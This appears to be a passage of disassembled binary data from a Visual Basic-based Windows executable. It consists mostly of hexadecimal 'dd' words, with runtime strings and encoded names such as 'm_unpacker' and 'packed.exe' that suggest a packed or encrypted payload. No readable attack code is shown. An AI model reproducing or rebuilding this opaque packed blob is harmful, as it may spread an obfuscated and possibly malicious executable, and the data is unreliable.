		dd 24418CD9h, 0BB908680h, 507FE5F5h, 275A7502h,	3F2C3558h
		dd 0AD8B4825h, 983BA00h, 0E709387h, 8631B1CBh, 510EEBCCh
		dd 0E8DBAEA4h, 1CF33E0Dh, 0ADFD4F9h, 9F714013h,	0AFDDE3D8h
		dd 3693296h, 14F94413h,	59B3FA36h, 0E3066854h, 16F3C8BEh
		dd 9D9B7669h, 86CC7165h, 7215384Dh, 0D5B2B2B9h,	24715B18h
		dd 258630F5h, 0F4ED3A44h, 0A8AE8630h, 649C2BD7h, 88AB8C52h
		dd 0F5E99653h, 752291Eh, 0DC3E6130h, 8C387A48h,	0ABF8E2D1h
		dd 0AC802A5Fh, 0B145FCCBh, 0FDA3F694h, 4F62670h, 0C6BF0000h
		dd 675E25F7h, 3FBC294h,	0A7996032h, 3B31F8CAh, 81C29466h
		dd 7042170Dh, 9DBB6A9h,	0A3754E42h, 3E10E7DCh, 0B1FEE825h
		dd 0B28024AFh, 51467371h, 655A2F7Ah, 29438Eh, 2E05FAA0h
		dd 6449225Ch, 7C1F771h,	0F9000000h, 120D1h, 5146F900h
		dd 273DC37Ah, 0F8859DEFh, 497AEh, 98676000h, 3508FFC6h
		dd 0D3A49C63h, 6B483A01h, 7DCD299h, 0AE226335h,	4A11E3B8h
		dd 0E3AA7C57h, 7D4416EFh, 0C6DFB188h, 0AF529F89h, 12538024h
		dd 4B514614h, 2C12E1ABh, 0C40FDE8Fh, 0D823FAEFh, 7F4D95BEh
		dd 5482C8A1h, 643B8661h, 0A9D1FB66h, 956C6186h,	80EECC3h
		dd 50628B90h, 7851E90Ch, 0F0F770BEh, 14h, 0A3D128h, 36F90000h
		dd 72BD9489h, 96DE789Bh, 6000000h, 7E5BC962h, 3EE17294h
		dd 0FB46278Ch, 5E3B2942h, 0ADFAE4A1h, 0A68024B8h, 0FC40A2C5h
		dd 0FD862BC9h, 2CA5651Ch, 0A4319DF9h, 3EF5Ah, 0F0BFB800h
		dd 8D60571Eh, 2BFCF4BBh, 0C3A09259h, 5F342AF1h,	67ABB8Dh
		dd 0A2693B10h, 3B02D4AFh, 0D59C6E47h, 1E3709E0h, 0AEAAF7E1h
		dd 6AAB8024h, 4DC9626Ch, 31CD1663h, 3C130886h, 0CDA09776h
		dd 68522FFEh, 8C3918B2h, 34E1BE9Fh, 95996B3Ch, 802A8245h
		dd 0E942483Dh, 1BD144F5h, 0F7BE905Fh, 99E32EFFh, 388h
		dd 25836C1h, 4F9C8604h,	488630FCh, 10A66967h, 3283154h
		dd 385A4421h, 0E18C3EDDh, 0F2D0B500h, 0BCC75744h, 3E476AB7h
		dd 705A372Dh, 862BC92Ch, 7F954C2Dh, 6B9DF92Bh, 34A94DEh
		dd 1A130000h, 0BBB2794Bh, 574F16E8h, 0FBEDB486h, 8F854C1Eh
		dd 0D516E8BAh, 0C4966B61h, 5D2F0AFDh, 0F7C9A296h, 92643B30h
		dd 5523C79h, 0FE8024AEh, 0C962BFBDh, 76947E5Bh,	138C3EE1h
		dd 0B3A85532h, 76330ADCh, 24B93F8Ch, 34573880h,	0F8431A0Fh
		dd 5B382C3Fh, 31CBE271h, 0A17E5F86h, 4B28FFF4h,	0C657A48Eh
		dd 6F508631h, 665B224Ch, 0E08B448Fh, 2DEAA784h,	31C6F643h
		dd 0EB0EEF86h, 38C8F989h, 0A699788Ch, 7251EF9Ch, 0F1C0790Ah
		dd 4900CFA6h, 0A3F6C3D5h, 0B1529C29h, 7A000002h, 19E0B281h
		dd 0B67D4F22h, 541BEDBEh, 0ECB38562h, 7D4F21F6h, 0FDD2C83Ch
		dd 9671642Bh, 3009FDC4h, 0CBA2975Eh, 0B9A3E0F9h, 8024AD6Ch
		dd 462E2C6Dh, 5A2F7A51h, 11BC8E65h, 432D0A1Ah, 8C38E7BFh
		dd 788AD5B6h, 802AB327h, 0C572A21h, 1D684537h, 0E890F0F1h
		dd 14358DF6h, 0F16A4A3Bh, 27B3h, 0C962EB00h, 78947E5Bh
		dd 118C38DEh, 82D3E530h, 57802ABBh, 9C7596EEh, 7FF16A56h
		dd 0BB06DDD2h, 0AC21C1E4h, 59000000h, 2F7A5146h, 448F645Ah
		dd 0C6A37A6Fh, 0A3B124E8h, 24466FE7h, 0E2B79FEFh, 0D87B9E6Dh
		dd 65370E03h, 3197E261h, 8C635886h, 370C02AFh, 2E23EA14h
		dd 0D8530C57h, 36815A4Eh, 0C9B3905Fh, 8C38BDF9h, 9A4517F8h
		dd 0CCB69391h, 863469A2h, 0EC997657h, 884F21F6h, 0F5C8BF92h
		dd 0DE12E18h, 1E28623h,	0E6AD7B32h, 0D8659DFDh,	1BB8Eh
		dd 0BC8B8400h, 592C23EAh, 0F7C8C087h, 8F6C5E25h, 2B00F6BDh
		dd 0D2468759h, 6E3507DCh, 7CEA07Bh, 0A1683A13h,	0EA03D5ACh
		dd 0AC76C3ADh, 2E6F8024h, 7B504630h, 25FCF19Eh,	1C11D802h
		dd 62BB7345h, 947E5BC9h, 8C38DE78h, 0D3E53011h,	802ABB82h
		dd 62AD8A7Ch, 74BF9A8Dh, 5800602Fh, 84A5FD66h, 0F16A56ABh
		dd 0C523h, 51465B00h, 645A2F7Ah, 1105B28Fh, 0F316ED38h
		dd 0D1BF3E50h, 0FCA98631h, 0E80D3007h, 834A1CF3h, 0B36CB78Eh
		dd 67B49EB8h, 608631C8h, 0E4BFB27Fh, 7E4E3815h,	7F8C38F8h
		dd 0A21CC9Eh, 0CA533D1Ah, 0CB86344Ch, 6A600DEAh, 0AC144966h
		dd 0B7E99466h, 0A7C412D6h, 6D8A776h, 3B88722Fh,	3C862388h
		dd 1D13385Bh, 8803503Ah, 50CC8623h, 39EFAF10h, 1DEBF85h
		dd 22E9CA17h, 1BEACB86h, 0FE0ACE64h, 81CB589Dh,	0CCh, 0FBCD9C95h
		dd 986A3D34h, 3608D9D1h, 0CEA07D6Fh, 6A3C1107h,	0EDE35798h
		dd 8C7F4618h, 2418DFB1h, 0BDB2794Bh, 0BEFB14E6h, 24AB87D4h
		dd 413F8080h, 867D5046h, 0C29168B3h, 5D3429F0h,	7936D38Bh
		dd 31CD428Fh, 64624386h, 9ABB4634h, 0FC2144E8h,	96533007h
		dd 30E75FACh, 54775886h, 10E7DCB1h, 8C98933Eh, 0FBAFC5AFh
		dd 8B6A8C3Dh, 0A4EFBE97h, 0BF5DACFh, 8023DBBEh,	98E3BCB0h
		dd 4B1AFBC1h, 0FDF5A279h, 1964372Eh, 51287342h,	3D14092Eh
		dd 0A0EBE0F2h, 0DF0ECBBFh, 1A653E32h, 0C9192043h, 8D5E5603h
		dd 9879C6B0h, 997A389Bh, 855C5176h, 20F7ECB3h, 310E00D5h
		dd 72D2A1E6h, 2E00D7CCh, 509B7267h, 306h, 67672E00h, 337E4D46h
		dd 4792695Eh, 5AA57E72h, 6CB79285h, 81CCA197h, 96E1B6ACh
		dd 0A7F2CFC1h, 0BE09DAD2h, 0D41FF2E9h, 6EEE6888h, 8F540000h
		dd 4812404h, 424h, 0E1895100h, 4C181h, 0E9830000h, 240C8704h
		dd 243C895Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
		dd 5352242Ch, 781ED768h, 0EBD15B6Eh, 0C381D3F7h, 3D492446h
		dd 895BDA89h, 8B545AD7h, 0C483242Ch, 8B95104h, 1000000h
		dd 8B3989E9h, 0C483240Ch, 242C8B04h, 81E28952h,	4C2h, 4C28300h
		dd 5C241487h, 51243C8Bh, 0C181E189h, 4,	8704C183h, 0E95C240Ch
		dd 0FFFB1E74h, 6E5AA921h, 0B84BC8BAh, 60D22A2h,	0E0FFC503h
		dd 1A38BAD0h, 39BBCE67h, 572E646Ah, 6D855166h, 543FBE15h
		dd 59CF1840h, 55FA10E9h, 2E11B8ECh, 29BA9BE6h, 788E8EA5h
		dd 4735A0A8h, 4AA081B0h, 41B5F7BEh, 35CEE251h, 739C63EFh
		dd 55C7A701h, 6CDE138Fh, 337152D4h, 5007D0E5h, 0AC9BE76h
		dd 6950CB10h, 767D97FEh, 23555B28h, 54B8A011h, 22514488h
		dd 117F20F1h, 2B995B37h, 19A33846h, 7168470Ch, 2041518Ch
		dd 7E63613Ch, 1877127Fh, 9E8h, 0ACBB5A00h, 0DC187931h
		dd 0F2B933C9h, 5F64FFA7h, 3830Fh, 0BF0F0000h, 0BCC781C8h
		dd 66000069h, 0DB2BD18Bh, 36D6F081h, 348B7FD7h,	0C981661Fh
		dd 0C681BC92h, 1BC5DB5Fh, 0F701EE81h, 0DE850D4h, 91000000h
		dd 0D9700A7Ah, 3861FBB6h, 74E65D80h, 0E24CD5B9h, 0C681584Ch
		dd 7164039Fh, 0DDFBA66h, 0B01F3489h, 96C88192h
		dd 813C80FCh, 0B0118EEBh, 0CE950h, 707A0000h, 1FCFCE9h
		dd 78CB049Eh, 0C3818B55h, 50B0118Ah, 6830F60h, 0F000000h
		dd 86h,	0DE900h, 0FDA80000h, 31CF959Ch,	76BE4F1Ah, 61FCE75Bh
		dd 9728FB81h, 850FFFFFh, 18h, 2EE9E38Ah, 3D000000h, 1EEEB8EDh
		dd 690F8385h, 618DCB97h, 145DCE9Ah, 0B9BE9DB8h,	0FF54E962h
		dd 912FFFFh, 0C00C5A17h, 276A3E48h, 0B814371Fh,	0FE0CD82Fh
		dd 2E8D8D0Ch, 0BF060D25h, 73416359h, 1AD98D89h,	858B0607h
		dd 6072A8Dh, 101D85C7h,	62E80607h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0F4F46CC3h
		dd 9D6859FCh, 8988F876h, 7027995h, 585C706h, 60733h, 66000000h
		dd 0FF6A9EBAh, 70BE9B5h, 3870F06h, 80000000h, 95FF9AE2h
		dd 6071859h, 20F9858Bh,	6A0607h, 0D6995FFh, 0C08B0607h
		dd 7FFE5EEBh, 0A2C0E6E1h, 9FA25DA4h, 48032F29h,	3DBFBB6Bh
		dd 0A2ABB2AEh, 32F3066Dh, 0D9A1C3F0h, 0C908F255h, 37E57777h
		dd 6A38DBDAh, 4F9DE351h, 802EE8FBh, 0A3DAAFB3h,	6637247h
		dd 0EB699B99h, 0E1AA0098h, 0E3E5ABABh, 991E9A51h, 5240D8C3h
		dd 2EB6F283h, 27CA0546h, 0D753BB3Fh, 53219F2Ah,	10E8h
		dd 0F6DB8800h, 0A0F35C0Ch, 3E312BBDh, 5AB64611h, 0B52B5B65h
		dd 60706EDh, 60A7C381h,	680000h, 31000000h, 7050D8Dh, 0F58A5906h
		dd 810B3C8Bh, 134801EFh, 0E5958975h, 8106072Fh,	2B56CAEFh
		dd 0F28B6618h, 4C1BC781h, 0B70F7770h, 8FFC57F3h, 0BD890B04h
		dd 60701B9h, 2B5DB589h,	0E9810607h, 5727B479h, 99D8960h
		dd 61060700h, 0B475C181h, 0C6815727h, 75D27F5Fh, 0A018F981h
		dd 850FFFFFh, 2Ah, 0CE9h, 0BE4B4900h, 86400CDAh, 0A2445Eh
		dd 2AE954h, 8A310000h, 0F0437034h, 0DE5D28EAh, 0F14F7327h
		dd 7936542Ch, 850FE427h, 6, 0D3D9589h, 6DE90607h, 0EAFFFFFFh
		dd 85781BC8h, 0EE8h, 27622D00h,	0F8D12F87h, 0E912AE5Dh
		dd 936434Eh, 707E985h, 0C6815E06h, 71B7h, 6EE28166h, 0B865h
		dd 0CF810000h, 3145391Ch, 0BA3034FFh, 7B4D09A5h, 95850959h
		dd 81060702h, 731487F1h, 19D8B33h, 8106071Bh, 2C422CF1h
		dd 13BF661Dh, 12F1812Fh, 0B31E4F2Fh, 9D89514Ah,	6072BFDh
		dd 0E906048Fh, 0Ch, 261FD003h, 35171AE9h, 38B032B3h, 6602E883h
		dd 4848F88Bh, 21458509h, 0F8810607h, 0FFFF8ED8h, 0FF9E850Fh
		dd 9D8BFFFFh, 60725D5h,	27F28D8Dh, 6A060Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0E6541CC3h
		dd 66E1549Dh, 3781D281h, 1AD98D89h, 6A0607h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 870F33C3h
		dd 4, 61616060h, 101D85C7h, 6BFC0607h, 840F0000h, 3, 812BD480h
		dd 0EBA745D3h, 585C73Ch, 60733h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2682C357h
		dd 82AB6D6h, 81DE9A91h,	0E35DDFF0h, 0C5B5FF62h,	6A060707h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0A46DC353h, 5995FF96h, 6A060718h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 1241C350h, 95890FF2h, 60732D9h, 10098531h, 6A0607h
		dd 0D6995FFh, 0C08B0607h, 0D3562AEBh, 3B590111h, 108712B4h
		dd 534381B9h, 24D1431Fh, 5F21F38Bh, 3281A6B9h, 8942C0C6h
		dd 75E10C31h, 39C7D246h, 0A7C270CDh, 15CE9h, 0E705C500h
		dd 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h, 656B6361h
		dd 78652E64h, 65h, 3Ah dup(0)
		db    0
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 44h,	5Fh, 0D2h
		dd 1B10E933h, 0C7680000h, 0E9060D2Bh, 0FFFA53F3h, 0D2CE868h
		dd 53E9E906h, 0BF68FFFAh, 0E9060D2Dh, 0FFFA53DFh, 0D2E9768h
		dd 53D5E906h, 0D668FFFAh, 0E9060D2Eh, 0FFFA53CBh, 0D2F9E68h
		dd 53C1E906h, 0FD68FFFAh, 0E9060D2Fh, 0FFFA53B7h, 0D305668h
		dd 53ADE906h, 7768FFFAh, 0E9060D36h, 0FFFA53A3h, 0D371268h
		dd 5399E906h, 8A68FFFAh, 0E9060D37h, 0FFFA538Fh, 0D386468h
		dd 5385E906h, 0D768FFFAh, 0E9060D38h, 0FFFA537Bh, 0D39B168h
		dd 5371E906h, 7168FFFAh, 0E9060D3Ah, 0FFFA5367h, 0D3B2568h
		dd 535DE906h, 4668FFFAh, 0E9060D41h, 0FFFA5353h, 0D423668h
		dd 5349E906h, 0EF68FFFAh, 0E9060D42h, 0FFFA533Fh, 8A1FB6E7h
		dd 8318B7E3h, 7E13AEDCh, 780DA8D7h, 6E039ED1h, 0CD00BBD3h
		dd 0CBF89F34h, 0C4F69D32h, 0C5F59C31h, 62D09D32h, 96C80374h
		dd 65374E43h, 0C269FC2Ch, 0D76C0B3Bh, 0AB99860Eh, 49A3F23Ah
		dd 7B11B285h, 0A307E38Dh, 24CB9E47h, 0AD31396h,	0D2ED9C73h
		dd 6C35A2E8h, 7F62439Ch, 41A62FB1h, 5A341FB6h, 98000000h
		dd 0F48A820Ah, 0D87F1E4Bh, 5F4D553Fh, 47A300DDh, 1C9F3508h
		dd 4DE53865h, 5AD6FD0Ch, 2BEB03B8h, 9506F48Ah, 0E0439C9Eh
		dd 3E0A230Dh, 439C9ED1h, 0A64DE815h, 0B158EF1Fh, 0C05B8918h
		dd 74C25519h, 0D28212B8h, 9C9E73E4h, 1EBBE43h, 7F5698A6h
		dd 5D1FB614h, 10Bh, 69FC2CC1h, 857323D3h, 49A3F214h, 47B88C5Fh
		dd 9249A3F2h, 0F5D191F7h, 8122E0F8h, 0C4F77E97h, 5B189B31h
		dd 6DF20B0Ch, 0BC83927h, 401349A3h, 159CB59Fh, 0FE6F5DE5h
		dd 4249A30Ah, 1CEF7716h, 1D4DD47Bh, 0E009F58Ah,	9449A307h
		dd 126D0964h, 86FD1CDDh, 9BCC4FE5h, 0C7B73B4Eh,	9C3568F7h
		dd 6B725CF5h, 4EE714BDh, 94336364h, 0D6BC44EDh,	0D76D0EA7h
		dd 0A2CBAFE9h, 5A894A47h, 0C0891EBFh, 0FAAA4038h, 0DF862151h
		dd 69165C46h, 344194FEh, 0EF22CB61h, 80B33C68h,	4A53EE5h
		dd 0BAAD65Dh, 892ACB64h, 0DCC346F4h, 369F6A94h,	942D60EFh
		dd 696A54EDh, 0BBC59B36h, 47F07F77h, 18089718h,	34650000h
		dd 39650CA1h, 3462099Eh, 2E5D0499h, 2457FE93h, 4961FC91h
		dd 35CA5B8Eh, 2FC4618Eh, 26BB5688h, 23B84F7Fh, 89FAE856h
		dd 0D44396C7h, 0F92CEBBDh, 0FC2CD368h, 4A50D369h, 10DEB29Ch
		dd 20A8A84Ah, 0DB7CD594h, 0A78EAF1h, 6F48A82h, 47A30184h
		dd 6935DCAFh, 439CE0FCh, 0F6F84629h, 1FB5D0DFh,	0F3FDh
		dd 0FC2C6100h, 0F2158674h, 8D6049A3h, 8BBE45ECh, 5E8753FAh
		dd 0B49A3EEh, 0ECFC6D5Bh, 124049A3h, 0AF37D077h, 207E73DCh
		dd 1ED6F6E8h, 64033334h, 0CD9E21CFh, 856C911Eh,	8122BBE8h
		dd 0CF669697h, 0FFF77F28h, 5417B69h, 25CE47A2h,	989B9AF5h
		dd 643C8CBh, 9625BE65h,	922BD263h, 0BDEDAEA8h, 49EA832Ah
		dd 0A41503B3h, 0EF439BB9h, 622B321Ch, 0C94CE2DAh, 8A4DECBDh
		dd 301EB4F8h, 439BA9BFh, 454D370Ah, 940E4F57h, 62F57841h
		dd 539B443Ch, 2C85E22Bh, 194CDC3h, 0CEB39E98h, 6C56D1EAh
		dd 59099F72h, 0F9E37EB0h, 972CC5F8h, 4E24BDF0h,	0F07F6B32h
		dd 0E71899C8h, 44000016h, 46ED8213h, 3FE67B1Ah,	3AE17611h
		dd 36DD720Bh, 42DD7203h, 0A93C6F2Ah, 0A5406D14h, 9C376910h
		dd 95306007h, 0D7C53300h, 4396C666h, 2CC89AB1h,	2CD368F9h
		dd 62D469FCh, 0B74A7C25h, 0BBE87710h, 7373822h,	1242C970h
		dd 8D15DE73h, 4711FF95h, 247A2EEh, 4FBC882Fh, 7C439CEDh
		dd 199569ECh, 0CDF05D35h, 69D21068h, 0A7914B01h, 0CA4DC24Ch
		dd 0CFB9494Dh, 0BC15FFB0h, 1FB68619h, 96C3h, 0BE3E2700h
		dd 72080088h, 0A2F8DA84h, 3BC29547h, 2641942Fh,	8F7D2D8Fh
		dd 6F02411Eh, 89AC9669h, 85730901h, 6D0143AFh, 0A750F7CAh
		dd 0E891271Fh, 0EE751CB5h, 0E98229BCh, 68565E48h, 66F562F3h
		dd 0FCA53B0Eh, 0FDA439CCh, 0CE643ACDh, 0F41ADDE8h, 161044C5h
		dd 3C6D0000h, 416D14A9h, 3C6A11A6h, 36650CA1h, 2C5F069Bh
		dd 51690499h, 3DD26396h, 37CC6996h, 2EC35E90h, 2BC05787h
		dd 9102F05Eh, 0DC4396C5h, 0FC2CF3C5h, 9119C269h, 4B150399h
		dd 647A2EEh, 3E2C9E33h,	80088BEh, 0F8DA8472h, 0D78747A2h
		dd 9CE878E9h, 6F0C343h,	0EEC2710Ch, 888790A4h, 955460E7h
		dd 2EC2B3AFh, 0FF1F907Eh, 3563BC72h, 553F129Ah,	1CB2AA32h
		dd 7202582Eh, 8FBC65BAh, 77120CF6h, 10FE083Bh, 0B66B719Fh
		dd 1EAE17EAh, 13A94A73h, 0DCC47C90h, 7963883Bh,	422FB760h
		dd 29D06B99h, 14BBC90h,	0C396B66Bh, 0B5E38C22h,	3A28301Ah
		dd 0B46531C5h, 0CE770DE0h, 0C871079Eh, 0B12FC95h, 0BBD93464h
		dd 23FD2B72h, 0F29A7011h, 40652D86h, 15389011h,	64950000h
		dd 69953CD1h, 649239CEh, 5E8D34C9h, 54872EC3h, 79912CC1h
		dd 65FA8BBEh, 5FF491BEh, 56EB86B8h, 53E87FAFh, 0B92A1886h
		dd 44396C4h, 0FC2C1BEDh, 0D8919369h, 0C2F1FC6Eh, 14F941h
		dd 90255600h, 8D2854FBh, 882351F8h, 841D4CF3h, 7C1548EFh
		dd 79344CE7h, 6F16AB46h, 670EA342h, 660DA235h, 3D0A9F36h
		dd 0C470E1CFh, 0A4BB4396h, 69FC2CD2h, 999119C2h, 0EB431503h
		dd 3B0E47A2h, 81FA11A6h, 0EA72E3D1h, 0EABD439Ch, 5D55DD00h
		dd 0F12FD9C7h, 22EA419Bh, 95E0C334h, 9A3B0E3Dh,	58EC0713h
		dd 0D585D12Dh, 0ED2876E7h, 6360E0A0h, 2FB1DFE8h, 1545D4A7h
		dd 0ED759882h, 88B65FF5h, 0C3AD46EDh, 69F7CDBBh, 3F129EECh
		dd 0A767EF98h, 65FBCD4Bh, 0F28DBBD6h, 7011B24Bh, 884B57DAh
		dd 0A92A65FBh, 54C9B7BFh, 6F98E0E0h, 0C8FB7CAEh, 4CE58C2Dh
		dd 3C6C15ABh, 3D6D14A9h, 6ADCD4AAh, 0F72648A9h,	143176h
		dd 0C85D8E00h, 0C5608C33h, 0C05B8930h, 0BC55842Bh, 0B44D8027h
		dd 0B16C841Fh, 0A74EE37Eh, 9F46DB7Ah, 9E45DA6Dh, 7542D76Eh
		dd 0C3A81907h, 0DCF34396h, 0F276E70Ah, 87549A3h, 749A402h
		dd 49A3F29Ah, 0A3D22C99h, 0B6E66949h, 30C1F459h, 19EFBDC7h
		dd 67FE2E2Fh, 6E9DA391h, 0A72857FCh, 13D2h, 0D267FE2Fh
		dd 0CB60FF2Bh, 0C65BF624h, 0C055F01Fh, 0B64BE619h, 1548031Bh
		dd 1340E77Ch, 0C3EE57Ah, 0D3DE479h, 0AA18E57Ah,	96C34BBCh
		dd 0AD7F9643h, 0ADB2A225h, 31D30596h, 0A49C2447h, 0C3D58B0Eh
		dd 0C8A19671h, 0CEE8D6DEh, 6947A229h, 31E4C096h, 0D706FA69h
		dd 137956h, 10A5D600h, 0DA8D47Bh, 8A3D178h, 49DCC73h, 0FC95C86Fh
		dd 0F9B4CC67h, 0EF962BC6h, 0E78E23C2h, 0E68D22B5h, 0BD8A1FB6h
		dd 0C1F0614Fh, 243B4396h, 69FC2C52h, 6C0B3BC2h,	0BF89E2C5h
		dd 0AEBC9C39h, 253E19h,	25A20000h, 0C9B34E7Ch, 0A3F21683h
		dd 8B2A5A49h, 1D7F0AF6h, 17AD496Fh, 0AAA8CA94h,	6751F5BDh
		dd 1310CD4Eh, 2C430000h, 19C269FCh, 15039991h, 47A2F2E7h
		dd 7F4717B2h, 454DC927h, 0BB50C1AFh, 0C89B439Ch, 41C99227h
		dd 0E58C2B5Bh, 0F38EBD4Ch, 0F4CEBC52h, 1419BCCh, 1902958h
		dd 524C36D1h, 47F1078Ah, 0B7067F55h, 957372E3h,	49EABD3Dh
		dd 4C1B30B3h, 0AAEB647Bh, 0F220A7C0h, 68D6C257h, 0AC3D95E0h
		dd 0A950E580h, 0B43BE27Dh, 990AF888h, 0E43D95E0h, 31DA7011h
		dd 667F6904h, 731AADDFh, 7D24BDECh, 2E1826B9h, 25BE6500h
		dd 412CB84h, 0BA4FEE1Ah, 0BCD21ABBh, 0D503AC25h, 0DC831E4Ch
		dd 0E313A243h, 1A049D44h, 17426h, 820A8A00h, 0A406F48Ah
		dd 0CF47A2D0h, 44C755FCh, 7CFFFB8Fh, 268DE294h,	0E8909801h
		dd 69959680h, 669239CEh, 0E99220C7h, 0BDCE58BBh, 4872207Eh
		dd 7D6700A7h, 9C1FCA37h, 5CEA2543h, 9127C6F2h, 761DB8E8h
		dd 23ECF3DDh, 1F0DA39Bh, 419AEFD1h, 0DCB7019Ch,	6E1EA09Fh
		dd 6C9F26CDh, 6A9D44D9h, 6B9841D7h, 0A8922BD2h,	5A58C38Fh
		dd 0C7AF3D94h, 5AB82917h, 30033D94h, 2DD46FA1h,	0C14FAA94h
		dd 0FB912457h, 9C861F52h, 23C2EE95h, 503EEE7Ch,	3D945ADFh
		dd 6C6D572Ah, 4DFEA540h, 0EC958A94h, 3E3F29BCh,	34DD7312h
		dd 7F867001h, 0BE585580h, 388725h, 6AF0000h, 0FE973ED7h
		dd 0F92C4814h, 73AC168h, 0FF2FD86Eh, 0DE657E68h, 0EC731AABh
		dd 0F87F26BFh, 0EC852CC5h, 26E63079h, 0BC6AB46Dh, 6463F889h
		dd 19AEC071h, 886Bh, 820ACF00h,	31D8699Ch, 3FE07DAAh, 6C1A089Eh
		dd 3747A2FAh, 0AC2FBD64h, 0E91142B1h, 9F3E6BA7h, 0E71314FEh
		dd 0E00CB348h, 0EB179E45h, 3BF4A54Ch, 65933CEDh, 0FB8A23CAh
		dd 44452FCEh, 0E9E87D18h, 1FB698ECh, 35EEh, 7F0A5200h
		dd 30D76A9Dh, 7260F697h, 49A3F251h, 0B68229FCh,	49A3F049h
		dd 46D660A9h, 4331C7BBh, 49A3F122h, 0C465FACDh,	15h, 7D6A7BFEh
		dd 7AEF32DCh, 7C25C490h, 0CFCAB44Dh, 51h, 0D9A22545h, 1EF87D30h
		dd 9373822h, 1440C76Eh,	16BD588Bh, 25C6618Fh, 0AE30A18Fh
		dd 0A87B49A3h, 95C87107h, 2DBC55FCh, 757C6601h,	0E515A2CEh
		dd 8312AB52h, 7811B857h, 0FE8730D7h, 0DB935F06h, 54C00A5Eh
		dd 0B421A771h, 2619AF03h, 0B0Dh, 4A7C258Ah, 8D7710B7h
		dd 8B21E16Ah, 3FB09E95h, 8A49A3E3h, 19074EB7h, 3AAB992Fh
		dd 8549A366h, 0DC6A11B2h, 7682D459h, 0A48EDBE2h, 3E392A5Eh
		dd 9013A3D2h, 0A59E99BEh, 2C877136h, 0E9F9DCE2h, 29E3A359h
		dd 47000000h, 0F389810Ah, 92242A70h, 0D4BE1A52h, 876DDECCh
		dd 0E5B849A3h, 4963723Eh, 0A98CF296h, 0F97C599Fh, 485EC322h
		dd 0C2000002h, 2F89810Ah, 0FC2C894Dh, 0FA2AD369h, 1A83B6Dh
		dd 9220C768h, 0A3F233A4h, 0AAB7E49h, 0A2345420h, 0AEB411D4h
		dd 1CEB1Ch, 0A4F0000h, 252F8981h, 0A3F2C937h, 0E7411449h
		dd 0FE2CB125h, 0E4F60963h, 2432h, 810AA800h, 37252F89h
		dd 49A3F2C9h, 0CC2F5D06h, 0B09E3C3Eh, 30D7785Eh, 1A75AD97h
		dd 2CB125C0h, 0F60963FEh, 9F8E7E4h, 8831576Ch, 0D0D1BB56h
		dd 0C86F049Dh, 0BE67FD98h, 0B64FF68Fh, 0C0F3ECCCh, 0ACBFB725h
		dd 0F184B462h, 0D473A36Ah, 0B8BD7F66h, 0D14230E0h, 1C334BDAh
		dd 3A045F49h, 0C249DC0Ch, 0BE2CCBFBh, 5ECC92C5h, 0A9334BDAh
		dd 0DA82F3E1h, 0CCD334Bh, 49D44DDh, 5C54C263h, 2151FF49h
		dd 2BD26B98h, 0A36AF192h, 610E0D70h, 0F0FA770h,	9A96F8B0h
		dd 54F5967Ch, 64E515BEh, 11FB9C35h, 9CC283F8h, 0AB32D96Ch
		dd 9037DE79h, 16ED71BFh, 3A8E781Bh, 879825C6h, 0C95C8FB9h
		dd 24958333h, 6F334BCFh, 0FDABB29Ch, 0CEEE5F4Dh, 0BC58334Bh
		dd 62CC2CADh, 0AF996CF4h, 51E77EAEh, 6204FECEh,	0AA94620Ch
		dd 0D09ED1CAh, 334BD762h, 86F7E5ADh, 0D1334BD7h, 0B7EF5DFEh
		dd 0FC2C1A24h, 0EB1BE269h, 42F7DE4Ch, 0FC2AF447h, 0E4B239CCh
		dd 89770B3Bh, 334BD718h, 48EF9063h, 94C4C5AFh, 679A9301h
		dd 7118B1E0h, 0D1C937D8h, 96C670BEh, 0E7F38737h, 0C9B8673h
		dd 7A047DAh, 6111DF66h,	4AF60273h, 907A4D33h, 69FC2CC4h
		dd 0ABC150D3h, 0B15F6F29h, 5B45E681h, 0A894D8Fh, 34318B7Fh
		dd 0B411D4A2h, 2ED71CAEh, 0AD487502h, 25CC6D06h, 3ACDFD8Ch
		dd 3C5C50h, 25C00000h, 36EE4F7Ch, 0E5A91A6Dh, 841DC465h
		dd 0F8EC779Ah, 0C937259Eh, 1449A3F2h, 0B125E741h, 0CF65002Ch
		dd 0F2C0311Fh, 430B49A3h, 0A3F2E455h, 0BB5C2F49h, 0E4F605D1h
		dd 3D32h, 7F0AA800h, 5745F58Bh,	49A3F1E6h, 0F40B5450h
		dd 0B43CB614h, 252BF7E1h, 0A3F2C937h, 217BD649h, 7C25B125h
		dd 0FD98CA49h, 8D1CB55Ch, 8A23CA5Dh, 0D4739FA0h, 4F7C257Ah
		dd 8C760FB6h, 0B0E74355h, 2E49A3F4h, 0FFFD54A5h, 235CDFFFh
		dd 2F4A303h, 0E774402Ah, 49A3F27Ah, 5BDC0EB7h, 4EE8F2Eh
		dd 0CA6058E1h, 7AD51447h, 0DFC99285h, 680331D8h, 0FF84F5C1h
		dd 9BE449A2h, 0EC75A38Dh, 0F08526BFh, 0ED821D49h, 0FEA59924h
		dd 0FD98C770h, 8DD3BD56h, 0B714C63h, 0CD131D00h, 5C060308h
		dd 1B2D2h, 79E73600h, 9B49A3F2h, 64FF2D13h, 0ED8324BDh
		dd 2E9F8D3Dh, 7949A3F2h, 3476BCA6h, 0DF47A2D6h,	20C9770Ch
		dd 6F705AF3h, 78FFA641h, 830AB14Ch, 6811B857h, 6452E8E0h
		dd 419BC602h, 0AA845A2Dh, 58F060E5h, 0D58A829h,	84B50000h
		dd 89B55CF1h, 84B259EEh, 7EAD54E9h, 74A74EE3h, 99B14CE1h
		dd 851AABDEh, 7F14B1DEh, 760BA6D8h, 73089FCFh, 0D94A38A6h
		dd 244396BCh, 0FC2C3B0Dh, 0FE2AD369h, 351FB85Fh, 0F3EB731Ch
